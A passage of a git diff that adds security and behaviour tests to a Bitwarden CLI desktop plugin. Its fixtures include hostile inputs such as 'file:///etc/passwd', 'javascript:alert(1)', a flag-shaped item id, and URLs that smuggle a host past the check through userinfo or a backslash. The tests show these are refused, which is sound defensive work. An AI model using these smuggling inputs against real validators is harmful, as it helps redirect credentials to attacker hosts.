"https://example.com"], + ["example.com:8443/login", "https://example.com:8443/login"], + ["localhost:3000", "https://localhost:3000"], + ["192.168.1.10:8006", "https://192.168.1.10:8006"] +]) { + const r = opens(input) + check(`${input} opens as ${expected}`, r.ok && r.url === expected, JSON.stringify(r)) +} + +for (const [input, scheme] of [ + ["file:///etc/passwd", "file"], + ["ftp://files.example.com", "ftp"], + ["javascript:alert(1)", "javascript"], + ["data:text/html,", "data"], + ["mailto:someone@example.com", "mailto"], + ["vnc://10.0.0.1", "vnc"], + ["custom-app-handler://do-something", "custom-app-handler"] +]) { + const r = opens(input) + check(`${input} is refused`, !r.ok && r.scheme === scheme, JSON.stringify(r)) +} + +check("an empty URI is refused without naming a scheme", + !opens("").ok && opens("").scheme === "", JSON.stringify(opens(""))) +check("whitespace is trimmed rather than https-ified", + opens(" https://example.com ").url === "https://example.com", JSON.stringify(opens(" https://example.com "))) +check("an ambiguous backslash web URL is refused instead of parsed differently by the browser", + !opens("https://evil.example\\@trusted.example").ok + && opens("https://evil.example\\@trusted.example").reason === "ambiguous", + JSON.stringify(opens("https://evil.example\\@trusted.example"))) + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) } diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/hardening.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/hardening.test.js new file mode 100644 index 0000000..fe52d60 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/hardening.test.js @@ -0,0 +1,241 @@ +#!/usr/bin/env node +// Tests for three boundaries that had drifted or were never drawn. +// +// node tests/hardening.test.js +// +// 1. Every bw invocation that takes a server-chosen id ends its options with +// `--`. Quoting an id defends against the shell, not against bw's own +// option parser -- a quoted `--help` is still `--help` by the time bw +// sees it. +// 2. The custom-server field is where the master password is about to be +// sent, so it may not name a plaintext http host off this machine. +// 3. The learned-suggestion store is account data with no expiry of its own, +// so logging out has to remove it. + +const fs = require("fs") +const os = require("os") +const path = require("path") +const { execFileSync } = require("child_process") + +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.getPasswordCommand = getPasswordCommand + exports.getTotpCommand = getTotpCommand + exports.validateServerUrl = validateServerUrl + exports.associationsEnvVar = associationsEnvVar + exports.associationsReadCommand = associationsReadCommand + exports.associationsWriteCommand = associationsWriteCommand + exports.associationsClearCommand = associationsClearCommand +`)(Model) + +let pass = 0 +const failures = [] +const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`) + +// ------------------------------------------------------------------------- +// 1. `--` before a server-chosen id +// ------------------------------------------------------------------------- + +const HOSTILE_ID = "--help" + +for (const [label, build, verb] of [ + ["password", Model.getPasswordCommand, "get password"], + ["totp", Model.getTotpCommand, "get totp"], +]) { + const script = build("aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee").join(" ") + + check(`copy ${label}: ends bw's options with --`, + script.includes(`bw ${verb} --raw -- `), + script) + + check(`fetch ${label}: preserves the id as one shell word`, + script.includes("aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"), + script) + + check(`fetch ${label}: bounds the secret before it reaches QML`, + script.includes("head -c"), + script) + + // The whole point of `--`: an id shaped like a flag stays an id. + const hostile = build(HOSTILE_ID).join(" ") + check(`fetch ${label}: a flag-shaped id lands after --`, + hostile.includes(`bw ${verb} --raw -- --help`), + hostile) +} + +// ------------------------------------------------------------------------- +// 2. Custom server URL +// ------------------------------------------------------------------------- + +const ACCEPTED = [ + ["", "empty means the official server"], + ["https://vault.example.com", "plain https"], + ["https://vault.example.com:8443/path", "https with port and path"], + ["HTTPS://VAULT.EXAMPLE.COM", "scheme is case-insensitive"], + ["http://localhost:8080", "http to localhost"], + ["http://127.0.0.1", "http to 127.0.0.1"], + ["http://127.1.2.3:9000", "http anywhere in 127/8"], + ["http://[::1]:8000", "http to ::1"], + [" https://vault.example.com ", "surrounding whitespace"], +] + +for (const [url, why] of ACCEPTED) { + const problem = Model.validateServerUrl(url) + check(`server URL accepts ${why}`, problem === "", `${JSON.stringify(url)} -> ${problem}`) +} + +const REFUSED = [ + ["http://vault.example.com", "plaintext http off this machine"], + ["http://192.168.1.10", "http to a LAN address is still on a wire"], + ["ftp://vault.example.com", "a scheme bw does not speak"], + ["file:///etc/passwd", "a scheme that is not a server at all"], + ["vault.example.com", "no scheme at all"], + ["https://", "no host"], + // Anchored, so a host that merely starts or ends with a loopback name is not + // mistaken for one. + ["http://localhost.evil.com", "a host that only begins with localhost"], + ["http://127.0.0.1.evil.com", "a host that only begins with 127.0.0.1"], + ["http://evil.com/localhost", "loopback appearing in the path"], + // Userinfo is stripped before the host is judged, so it cannot smuggle a + // loopback name in front of the real destination. + ["http://localhost@evil.com", "loopback smuggled into userinfo"], + // WHATWG URL parsers treat a backslash like a slash for http(s). Without an + // explicit refusal, our lightweight host parser sees localhost after the @ + // while Bitwarden's Node runtime connects to evil.example before the slash. + ["http://evil.example\\@localhost", "a loopback host smuggled after a backslash"], + ["https://evil.example\\@vault.example.com", "an ambiguous HTTPS backslash destination"], +] + +for (const [url, why] of REFUSED) { + const problem = Model.validateServerUrl(url) + check(`server URL refuses ${why}`, problem !== "", JSON.stringify(url)) +} + +check("server URL refusal names the host it refused", + Model.validateServerUrl("http://vault.example.com").includes("vault.example.com"), + Model.validateServerUrl("http://vault.example.com")) + +check("server URL refusal for userinfo names the real host, not the userinfo", + Model.validateServerUrl("http://localhost@evil.com").includes("evil.com"), + Model.validateServerUrl("http://localhost@evil.com")) + +// ------------------------------------------------------------------------- +// 3. Logging out removes the learned-suggestion store +// ------------------------------------------------------------------------- + +const clear = Model.associationsClearCommand().join(" ") + +check("clearing associations removes the store file", + /\brm -f --/.test(clear) && clear.includes("associations.json"), + clear) + +check("clearing associations resolves the same path the writer uses", + clear.includes("${XDG_STATE_HOME:-$HOME/.local/state}/qs-bitwarden-cli") + && clear.includes("associations.json"), + clear) + +// A missing file is the ordinary case on an account that never learned +// anything, and it must not be reported as a failed logout. +check("clearing associations succeeds when there is nothing to remove", + /exit 0\s*$/.test(clear), + clear) + +const assocTmp = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-assoc-")) +const assocDir = path.join(assocTmp, "qs-bitwarden-cli") +const assocFile = path.join(assocDir, "associations.json") +const assocEnv = value => Object.assign({}, process.env, { + XDG_STATE_HOME: assocTmp, + [Model.associationsEnvVar()]: value, +}) +const writeAssociations = value => execFileSync( + Model.associationsWriteCommand()[0], Model.associationsWriteCommand().slice(1), + { env: assocEnv(value), encoding: "utf8" }) + +try { + fs.mkdirSync(assocDir, { recursive: true }) + fs.writeFileSync(assocFile, "old", { mode: 0o644 }) + writeAssociations('{"version":1,"keys":{}}') + check("association replacement narrows an existing public file to mode 600", + (fs.statSync(assocFile).mode & 0o777) === 0o600, + "0" + (fs.statSync(assocFile).mode & 0o777).toString(8)) + + const redirect = path.join(assocTmp, "must-not-change") + fs.writeFileSync(redirect, "sentinel") + fs.unlinkSync(assocFile) + fs.symlinkSync(redirect, assocFile) + writeAssociations('{"version":1,"keys":{"safe":[]}}') + check("association writes replace a symlink instead of following it", + !fs.lstatSync(assocFile).isSymbolicLink() + && fs.readFileSync(redirect, "utf8") === "sentinel" + && fs.readFileSync(assocFile, "utf8").includes('"safe"'), + `target=${fs.readFileSync(redirect, "utf8")}`) + check("atomic association writes leave no temporary files behind", + fs.readdirSync(assocDir).join(",") === "associations.json", + fs.readdirSync(assocDir).join(",")) + + fs.unlinkSync(assocFile) + fs.writeFileSync(redirect, '{"private":"redirected"}') + fs.symlinkSync(redirect, assocFile) + const readThroughLink = execFileSync( + Model.associationsReadCommand()[0], Model.associationsReadCommand().slice(1), + { env: assocEnv(""), encoding: "utf8" }) + check("association reads refuse a symlinked store", + readThroughLink.trim() === "{}", JSON.stringify(readThroughLink)) +} finally { + fs.rmSync(assocTmp, { recursive: true, force: true }) +} + +// The panel is three QML files now -- the SSH settings sections and the +// approval screen have their own. A check that reads only the largest one +// silently narrows as markup moves out of it. +const panelSrc = ["Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml"] + .map(file => fs.readFileSync(path.join(__dirname, "..", file), "utf8")) + .join("\n") +const bodyOf = name => { + const start = panelSrc.indexOf(`function ${name}(`) + if (start === -1) return "" + let depth = 0 + for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) { + if (panelSrc[i] === "{") depth++ + else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1) + } + return "" +} +const forget = bodyOf("forgetStoredCredentials") +const assocWriter = panelSrc.slice(panelSrc.indexOf("id: associationsWriteProc"), + panelSrc.indexOf("id: associationsClearProc")) +check("logout waits for an active association writer before clearing", + /associationsWriteProc\.running[\s\S]*associationsClearPending\s*=\s*true/.test(forget), forget) +check("the association writer exit services a queued logout clear", + /associationsClearPending[\s\S]*associationsClearProc\.running\s*=\s*true/.test(assocWriter), assocWriter) +check("association updates made during a write are persisted by a follow-up write", + /associationsWriteProc\.running[\s\S]*associationsWritePending\s*=\s*true/.test(bodyOf("saveAssociations")) + && /associationsWritePending[\s\S]*associationsWriteProc\.running\s*=\s*true/.test(assocWriter), + bodyOf("saveAssociations") + "\n" + assocWriter) +check("logout discards a queued association write before clearing account metadata", + /associationsWritePending\s*=\s*false/.test(forget), forget) + +const copyToClipboard = bodyOf("copyToClipboard") +check("the long-lived clipboard owner does not inherit the copied secret variable", + /env -u QSBW_CLIP wl-copy --sensitive/.test(copyToClipboard), copyToClipboard) +check("locking clears any credential already on the clipboard", + /clearClipboard\(\)/.test(bodyOf("lockVault")), bodyOf("lockVault")) +check("a password missing from the in-memory item uses a managed generation-stamped fetch", + /requestPasswordCopy\(item\.id,\s*item\.typeCode\)/.test(bodyOf("copyPassword")) + && /beginVaultRead\("passwordCopy"\)/.test(bodyOf("requestPasswordCopy")) + && /Model\.getPasswordCommand\(itemId,\s*typeCode\)/.test(bodyOf("requestPasswordCopy")) + && /vaultReadIsStale\("passwordCopy"\)/.test(bodyOf("onPasswordCopyFinished")), + bodyOf("copyPassword") + "\n" + bodyOf("requestPasswordCopy") + "\n" + bodyOf("onPasswordCopyFinished")) +check("TOTP copy reuses the managed TOTP reader instead of a detached bw process", + /fetchTotp\(item\.id,\s*true\)/.test(bodyOf("copyTotpCode")) + && !/execDetached/.test(bodyOf("copyTotpCode")), bodyOf("copyTotpCode")) + +// ------------------------------------------------------------------------- + +if (failures.length) { + console.error(`\n${failures.length} failure(s):\n`) + for (const f of failures) console.error(` ${f}\n`) + process.exit(1) +} +console.log(`hardening.test.js: ${pass} checks passed`) diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/initial-load.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/initial-load.test.js new file mode 100644 index 0000000..cbc66cd --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/initial-load.test.js @@ -0,0 +1,114 @@ +#!/usr/bin/env node +// The first post-authentication bw process is the item list. Organization and +// folder metadata must not compete with it; they begin only after items have +// reached the model and had an event-loop turn to paint. +// +// node tests/initial-load.test.js + +const fs = require("fs") +const path = require("path") + +const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8") +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) + +const bodyOf = name => { + const start = panelSrc.indexOf(`function ${name}(`) + if (start === -1) return "" + let depth = 0 + for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) { + if (panelSrc[i] === "{") depth++ + else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1) + } + return "" +} + +const initial = bodyOf("beginInitialVaultLoad") +check("initial loading starts the item list", /loadItems\(/.test(initial), initial) +check("initial loading does not start organizations concurrently", + !/loadOrganizations\(/.test(initial), initial) +check("initial loading does not start folders concurrently", + !/loadFolders\(/.test(initial), initial) + +for (const source of ["onUnlockSuccess", "onSessionHandoff"]) { + const body = bodyOf(source) + check(`${source} uses the items-first entry point`, /beginInitialVaultLoad\(/.test(body), body) + check(`${source} does not launch organization metadata directly`, !/loadOrganizations\(/.test(body), body) + check(`${source} does not launch folder metadata directly`, !/loadFolders\(/.test(body), body) +} + +const listFinished = bodyOf("onListFinished") +check("metadata deferral begins only after the item result is accepted", + /items\s*=\s*Model\.parseSanitizedItems/.test(listFinished) + && !/items\s*=\s*Model\.parseItems/.test(listFinished) + && /deferredMetadataTimer\.restart\(\)/.test(listFinished) + && listFinished.indexOf("items = Model.parseSanitizedItems") < listFinished.indexOf("deferredMetadataTimer.restart()"), + listFinished) + +const listExited = bodyOf("onListProcessExited") +check("item output is accepted only after the process exit status is known", + /exitCode\s*===\s*0/.test(listExited) && /onListFinished\(/.test(listExited), listExited) +check("a failed item refresh clears all loading and deferred-work state", + /isLoading\s*=\s*false/.test(listExited) + && /isSyncing\s*=\s*false/.test(listExited) + && /metadataLoadPending\s*=\s*false/.test(listExited) + && /syncReloadPending\s*=\s*false/.test(listExited), + listExited) +check("a failed item refresh does not run the post-load status refresh", + !/statusRefreshAfterItems[\s\S]{0,140}runStatusCheck\(/.test(listExited), + listExited) + +const timerStart = panelSrc.indexOf("id: deferredMetadataTimer") +const timer = timerStart === -1 ? "" : panelSrc.slice(timerStart, timerStart + 700) +check("deferred metadata loads both organizations and folders", /loadOrganizations\(/.test(timer) && /loadFolders\(/.test(timer), timer) +check("metadata waits long enough for an item-list frame", + /interval:\s*(?:[2-9][0-9]|[1-9][0-9]{2,})/.test(timer), timer) +check("post-load status refresh is metadata-only", + /runStatusCheck\(false\)/.test(timer) + && /function runStatusCheck\(authoritative\)/.test(panelSrc) + && /statusCheckAuthoritative\s*=\s*authoritative\s*!==\s*false/.test(panelSrc) + && /if\s*\(!authoritative\)\s*\{[\s\S]{0,220}return/.test(bodyOf("onStatusFinished")), + bodyOf("runStatusCheck") + "\n" + bodyOf("onStatusFinished") + "\n" + timer) + +const sync = bodyOf("onSyncFinished") +check("a successful server sync also reloads items before metadata", + /beginInitialVaultLoad\(/.test(sync) && !/loadOrganizations\(/.test(sync) && !/loadFolders\(/.test(sync), sync) + +check("the empty list says when items are loading", panelSrc.includes('"Loading items..."'), "missing loading label") +const syncButton = panelSrc.slice(panelSrc.indexOf("// Sync Vault Button"), panelSrc.indexOf("// Send Button")) +check("the compact sync control reports progress using supported PanelActionButton properties", + /tooltipText:\s*root\.isSyncing\s*\?\s*"Syncing\.\.\."/.test(syncButton) + && /enabled:\s*!root\.isSyncing/.test(syncButton) + && !/iconSpinning/.test(syncButton), + syncButton) +check("the panel header reports sync progress in text", + /if\s*\(root\.isSyncing\)\s*return\s*"Syncing\.\.\."/.test(panelSrc), + "missing Syncing... header state") + +const listProcessStart = panelSrc.indexOf("id: listProc") +const listProcess = listProcessStart === -1 ? "" : panelSrc.slice(listProcessStart, listProcessStart + 900) +check("the item process waits for onExited instead of racing its stdout and stderr handlers", + /onExited:[\s\S]*onListProcessExited/.test(listProcess) + && !/onStreamFinished:[\s\S]*onListFinished/.test(listProcess), + listProcess) + +const processBlock = id => { + const idAt = panelSrc.indexOf(`id: ${id}`) + if (idAt === -1) return "" + const next = panelSrc.indexOf("\n Process {", idAt) + return panelSrc.slice(idAt, next === -1 ? panelSrc.length : next) +} +for (const id of ["statusProc", "sessionHandoffProc", "listOrgsProc", "listFoldersProc", + "orgCollectionsProc", "listSendsProc", "keyringLookupMasterProc", + "getItemProc", "getTotpProc"]) { + const block = processBlock(id) + check(`${id} accepts output only after its exit status is known`, + /onExited:/.test(block) && !/onStreamFinished:/.test(block), block) +} + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { + console.error("\nFAILURES:\n " + failures.join("\n ")) + process.exit(1) +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/items.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/items.test.js new file mode 100644 index 0000000..0149b30 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/items.test.js @@ -0,0 +1,462 @@ +#!/usr/bin/env node +// The item detail view is built from what `bw list items` already returned +// rather than from a second `bw get item`. That is only correct if the two +// produce the same detail, so that equivalence is the property under test. +// +// node tests/items.test.js + +const fs = require("fs") +const path = require("path") +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.parseItems = parseItems + exports.parseItemDetail = parseItemDetail + exports.itemDetailFromObject = itemDetailFromObject + exports.itemTypeGlyph = itemTypeGlyph + exports.parseSanitizedItems = parseSanitizedItems + exports.filterItems = filterItems + exports.buildCreatePayload = buildCreatePayload + exports.buildEditPayload = buildEditPayload + exports.matchesQuery = matchesQuery + exports.createItemCommand = createItemCommand + exports.spliceSavedItem = spliceSavedItem + exports.optimisticItem = optimisticItem + exports.replaceItemById = replaceItemById + exports.findItemById = findItemById + exports.pendingItemId = pendingItemId + exports.isPendingItemId = isPendingItemId + exports.savedUnsanitizedMarker = savedUnsanitizedMarker + exports.identityFullName = identityFullName + exports.getItemCommand = getItemCommand + exports.editItemCommand = editItemCommand + exports.deleteItemCommand = deleteItemCommand +`)(Model) + +let pass = 0 +const failures = [] +const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`) + +// Shaped like a real `bw list items` entry, which carries the complete cipher +// -- this is what makes the second CLI call unnecessary. +const login = { + object: "item", id: "11111111-1111-1111-1111-111111111111", + organizationId: null, folderId: "f1", type: 1, name: "GitHub", + notes: "recovery codes in the safe", favorite: true, + login: { + username: "octocat", password: "s3cr3t-p4ss", totp: "JBSWY3DPEHPK3PXP", + uris: [{ match: null, uri: "https://github.com/login" }] + }, + fields: [{ name: "recovery", value: "abcd-efgh", type: 1 }] +} + +const card = { + object: "item", id: "22222222-2222-2222-2222-222222222222", + type: 3, name: "Visa", notes: "", favorite: false, + card: { cardholderName: "A Person", brand: "Visa", number: "4111111111111111", + expMonth: "04", expYear: "2030", code: "123" } +} + +const identity = { + object: "item", id: "33333333-3333-3333-3333-333333333333", + type: 4, name: "Home", notes: "", favorite: false, + identity: { title: "Mr", firstName: "A", middleName: "Q", lastName: "Person", + username: "aperson", company: "Acme", email: "a@example.com", + phone: "555", ssn: "000-00-0000", passportNumber: "P123", + licenseNumber: "L456", address1: "1 Road", address2: "Flat 2", + address3: "", city: "Town", state: "ST", + postalCode: "00000", country: "US" } +} + +const sshPublic = { id: "ssh-1", name: "Work SSH", type: 5, organizationId: "org-1", + folderId: "folder-1", favorite: true, reprompt: 1, + sshKey: { publicKey: "ssh-ed25519 AAAATEST", fingerprint: "SHA256:public" } } +const sanitized = Model.parseSanitizedItems(JSON.stringify({ items: [login], sshKeys: [sshPublic] })) +check("sanitized envelope adds a public SSH item", sanitized.length === 2 + && sanitized.some(i => i.typeCode === 5 && i.publicKey === "ssh-ed25519 AAAATEST"), JSON.stringify(sanitized)) +const ssh = sanitized.find(i => i.typeCode === 5) +check("SSH search and favorite filtering use the combined list", + Model.filterItems(sanitized, "AAAATEST", "all", "all", "all").length === 1 + && Model.filterItems(sanitized, "", "favorite", "all", "all").some(i => i.id === "ssh-1"), JSON.stringify(sanitized)) +check("SSH detail is public-only", ssh && Model.itemDetailFromObject(ssh.rawObject).password === "" + && Model.itemDetailFromObject(ssh.rawObject).publicKey === "ssh-ed25519 AAAATEST", JSON.stringify(ssh)) +check("generic write and private-read commands reject SSH", Model.buildCreatePayload(5, "x") === null + && Model.buildEditPayload(ssh, "x") === null && Model.getItemCommand("ssh-1", 5).length === 0 + && Model.editItemCommand("ssh-1", 5).length === 0 && Model.deleteItemCommand("ssh-1", 5).length === 0, "guard missing") + +// --- the equivalence the optimisation rests on ------------------------------ + +for (const raw of [login, card, identity]) { + const viaGetItem = Model.parseItemDetail(JSON.stringify(raw)) + const viaList = Model.itemDetailFromObject(raw) + check(`${raw.name}: the list-built detail matches the get-item-built detail`, + JSON.stringify(viaList) === JSON.stringify(viaGetItem), + `\n list: ${JSON.stringify(viaList)}\n get: ${JSON.stringify(viaGetItem)}`) +} + +// --- parseItems keeps what the detail view needs ---------------------------- + +const listed = Model.parseItems(JSON.stringify([login, card, identity])) +check("every listed item carries its raw object", listed.every(i => i.rawObject), "missing rawObject") + +const listedLogin = listed.find(i => i.id === login.id) +const detail = Model.itemDetailFromObject(listedLogin.rawObject) +check("the password survives the round trip through the list", + detail.password === "s3cr3t-p4ss", detail.password) +check("so does the TOTP key", detail.totpKey === "JBSWY3DPEHPK3PXP", detail.totpKey) +check("so do custom fields, which the list view itself never shows", + detail.fields.length === 1 && detail.fields[0].name === "recovery" + && detail.fields[0].value === "abcd-efgh", JSON.stringify(detail.fields)) +check("so do notes", detail.notes === "recovery codes in the safe", detail.notes) +check("so do URIs", detail.uris[0] === "https://github.com/login", JSON.stringify(detail.uris)) + +const listedCard = listed.find(i => i.id === card.id) +const cardDetail = Model.itemDetailFromObject(listedCard.rawObject) +check("card numbers and codes survive too", + cardDetail.card.number === "4111111111111111" && cardDetail.card.code === "123", + JSON.stringify(cardDetail.card)) + +const listedIdentity = listed.find(i => i.id === identity.id) +const identityDetail = Model.itemDetailFromObject(listedIdentity.rawObject) +check("identity fields survive too", + identityDetail.identity.email === "a@example.com" && identityDetail.identity.postalCode === "00000", + JSON.stringify(identityDetail.identity)) + +// --- cards and identities are first-class, not decoration -------------------- +// +// The model parsed both of these long before anything drew them, so these +// assertions guard the half that was always right as much as the half that +// was added: what the list shows, what search can find, and above all what +// survives an edit. + +check("an identity carries the fields Bitwarden actually returns", + identityDetail.identity.middleName === "Q" && identityDetail.identity.company === "Acme" + && identityDetail.identity.passportNumber === "P123" + && identityDetail.identity.address2 === "Flat 2", + JSON.stringify(identityDetail.identity)) + +check("a full name closes the gaps rather than padding them", + Model.identityFullName({ title: "", firstName: "", middleName: "", lastName: "Person" }) === "Person", + JSON.stringify(Model.identityFullName({ lastName: "Person" }))) + +check("a card row is subtitled with its brand and last four", + listedCard.subtitle === "Visa •••• 1111", listedCard.subtitle) +check("an identity row is subtitled with its name, not left blank", + listedIdentity.subtitle === "Mr A Q Person", listedIdentity.subtitle) + +// Anything the list is willing to show, the search box has to be able to find. +check("a card is found by its brand", Model.matchesQuery(listedCard, "visa"), listedCard.subtitle) +check("a card is found by its last four", Model.matchesQuery(listedCard, "1111"), listedCard.subtitle) +check("a card is not found by the middle of its number", + !Model.matchesQuery(listedCard, "111111111"), "a stored-card-number lookup is not this box's job") +check("an identity is found by name", Model.matchesQuery(listedIdentity, "person"), listedIdentity.subtitle) +check("an identity is found by email", Model.matchesQuery(listedIdentity, "a@example.com"), listedIdentity.subtitle) + +// --- payloads --------------------------------------------------------------- + +const createdCard = Model.buildCreatePayload(3, "New", "", "", "", "", "", false, null, null, null, + { cardholderName: "B Person", brand: "MC", number: "5555444433332222", expMonth: "01", expYear: "2031", code: "999" }) +check("creating a card emits a card object and no login", + createdCard.type === 3 && createdCard.card.number === "5555444433332222" + && createdCard.card.code === "999" && createdCard.login === undefined, + JSON.stringify(createdCard)) + +const createdIdentity = Model.buildCreatePayload(4, "New", "", "", "", "", "", false, null, null, null, + { firstName: "Ada", lastName: "Lovelace", email: "ada@example.com" }) +check("creating an identity emits an identity object", + createdIdentity.type === 4 && createdIdentity.identity.firstName === "Ada" + && createdIdentity.identity.email === "ada@example.com" + && createdIdentity.identity.ssn === "", + JSON.stringify(createdIdentity)) + +// The regression that matters most here. The form can rename a card without +// ever showing its number, and the writers set every key they know -- so an +// edit that passes no type fields must leave the sub-object entirely alone, +// not blank it. This is what the `&& typeFields` guard in buildEditPayload is +// for, and it is worth an assertion because nothing about the call site looks +// dangerous. +const renamedCard = Model.buildEditPayload({ typeCode: 3, rawObject: card }, + "Renamed", "", "", "", "", "", false, null, null, null) +check("renaming a card leaves its number, expiry and code untouched", + renamedCard.name === "Renamed" && renamedCard.card.number === "4111111111111111" + && renamedCard.card.code === "123" && renamedCard.card.expYear === "2030", + JSON.stringify(renamedCard.card)) + +const renamedIdentity = Model.buildEditPayload({ typeCode: 4, rawObject: identity }, + "Renamed", "", "", "", "", "", false, null, null, null) +check("renaming an identity leaves its fields untouched", + renamedIdentity.identity.email === "a@example.com" && renamedIdentity.identity.ssn === "000-00-0000", + JSON.stringify(renamedIdentity.identity)) + +const editedCard = Model.buildEditPayload({ typeCode: 3, rawObject: card }, + "Visa", "", "", "", "", "", false, null, null, null, + { cardholderName: "A Person", brand: "Visa", number: "4111111111111112", expMonth: "05", expYear: "2031", code: "321" }) +check("an edit that does carry card fields writes them", + editedCard.card.number === "4111111111111112" && editedCard.card.code === "321" + && editedCard.card.expMonth === "05", + JSON.stringify(editedCard.card)) + +check("editing a card never turns it into a login", + editedCard.type === 3 && editedCard.login === undefined, JSON.stringify(Object.keys(editedCard))) + +// --- the encoder swap -------------------------------------------------------- +// +// `bw encode` base64-encodes stdin and does nothing else -- no vault, no +// session, no network. It cost a full Bitwarden CLI startup, measured at 2.7 +// seconds, on every save, folder creation and Send. coreutils does it in about +// two milliseconds. These assertions hold the two halves of that swap: the +// output really is identical, and the payload still never reaches argv. + +const { execFileSync } = require("child_process") +const encodeSamples = [ + '{"name":"Test","type":3}', + '{"name":"unicode \u00e9\u00e5\u4e2d","notes":"line1\nline2"}', + '{"name":"' + "x".repeat(500) + '"}', + '{"password":"p@ss w/ spaces & $pecial \'quotes\'"}', +] +for (const sample of encodeSamples) { + const ours = execFileSync("bash", ["-c", 'printf "%s" "$P" | base64 -w0'], + { env: { ...process.env, P: sample } }).toString() + const node = Buffer.from(sample, "utf8").toString("base64") + check(`base64 -w0 matches a reference encoder for ${sample.slice(0, 28)}...`, + ours === node, `${ours}\n !=\n ${node}`) +} + +check("base64 -w0 emits a single line, as the CLI's stdin requires", + !execFileSync("bash", ["-c", 'printf "%s" "$P" | base64 -w0'], + { env: { ...process.env, P: '{"name":"' + "y".repeat(400) + '"}' } }).toString().includes("\n"), + "a wrapped encoding would reach `bw` as several lines") + +for (const [label, cmd] of [ + ["create item", Model.createItemCommand({ name: "x" })[2]], + ["edit item", Model.editItemCommand("id-1", 1)[2]], +]) { + check(`${label} pipes the payload from the environment through base64`, + /printf '%s' "\$QSBW_ITEM" \| base64 -w0 \|/.test(cmd), cmd) + check(`${label} still keeps the payload out of argv`, + !cmd.includes("password") && !cmd.includes("cardholderName"), cmd) +} + +// --- splicing a save into the list ------------------------------------------ +// +// A save used to be followed by re-listing and re-decrypting the whole vault +// to learn about the one item just written. The save's own response is the +// authoritative post-save state, so the list is brought up to date from that. +// These assertions cover the ways that can go wrong, because a list that +// quietly disagrees with the vault is worse than a slow one. + +const envelope = (...objs) => JSON.stringify({ + sshCapability: "unconfirmed", items: objs, sshKeys: [] +}) + +const listed3 = Model.parseItems(JSON.stringify([login, card, identity])) + +// An edit replaces in place and does not duplicate. +const renamed = { ...card, name: "Amex" } +const afterEdit = Model.spliceSavedItem(listed3, envelope(renamed)) +check("editing an item replaces it rather than adding a second copy", + afterEdit.length === listed3.length + && afterEdit.filter(i => i.id === card.id).length === 1, + JSON.stringify(afterEdit.map(i => i.name))) +check("the replacement carries the saved values", + afterEdit.find(i => i.id === card.id).name === "Amex", + JSON.stringify(afterEdit.find(i => i.id === card.id))) + +// A create appends and sorts, rather than landing at the end of the list. +const created = { object: "item", id: "44444444-4444-4444-4444-444444444444", + type: 1, name: "AAA First", favorite: false, login: { username: "a" } } +const afterCreate = Model.spliceSavedItem(listed3, envelope(created)) +check("creating an item adds it", afterCreate.length === listed3.length + 1, + String(afterCreate.length)) +// The login fixture is a favourite, so it sorts above everything; the new +// item is expected at the head of the non-favourites, not of the whole list. +check("a created item lands in sort order, not at the end", + afterCreate.filter(i => !i.favorite)[0].name === "AAA First", + JSON.stringify(afterCreate.map(i => `${i.name}:${i.favorite}`))) + +// Favourites sort above everything, so toggling one has to move the row. +const favourited = { ...card, favorite: true } +const afterFav = Model.spliceSavedItem(listed3, envelope(favourited)) +check("favouriting an item moves it into the favourites block", + afterFav.filter(i => i.favorite).some(i => i.id === card.id) + && afterFav.findIndex(i => i.id === card.id) < afterFav.findIndex(i => !i.favorite), + JSON.stringify(afterFav.map(i => `${i.name}:${i.favorite}`))) + +// A rename has to re-sort too, or the row stays where its old name put it. +const renamedFirst = { ...login, name: "AAA Renamed" } +const afterRename = Model.spliceSavedItem(listed3, envelope(renamedFirst)) +check("renaming an item re-sorts it", + afterRename.filter(i => i.favorite)[0].name === "AAA Renamed", + JSON.stringify(afterRename.map(i => `${i.name}:${i.favorite}`))) + +// The spliced row must be a list row, not a raw cipher: the list draws +// subtitles and copy buttons off these fields. +const splicedCard = afterEdit.find(i => i.id === card.id) +check("a spliced row is parsed into list shape, not left as a raw cipher", + splicedCard.typeCode === 3 && splicedCard.subtitle === "Visa •••• 1111" + && splicedCard.hasPassword === false, + JSON.stringify(splicedCard)) + +// --- everything that must fall back to a full reload ------------------------- + +check("an unrecognised envelope refuses to splice", + Model.spliceSavedItem(listed3, '{"not":"an envelope"}') === null, "expected null") +check("malformed JSON refuses to splice", + Model.spliceSavedItem(listed3, "{oops") === null, "expected null") +check("an envelope carrying more than one item refuses to splice", + Model.spliceSavedItem(listed3, envelope(renamed, created)) === null, "expected null") +check("an empty envelope refuses to splice", + Model.spliceSavedItem(listed3, envelope()) === null, "expected null") +check("an item with no id refuses to splice", + Model.spliceSavedItem(listed3, envelope({ ...card, id: "" })) === null, "expected null") + +check("the saved-but-unsanitized marker is a fixed sentinel the panel can test", + typeof 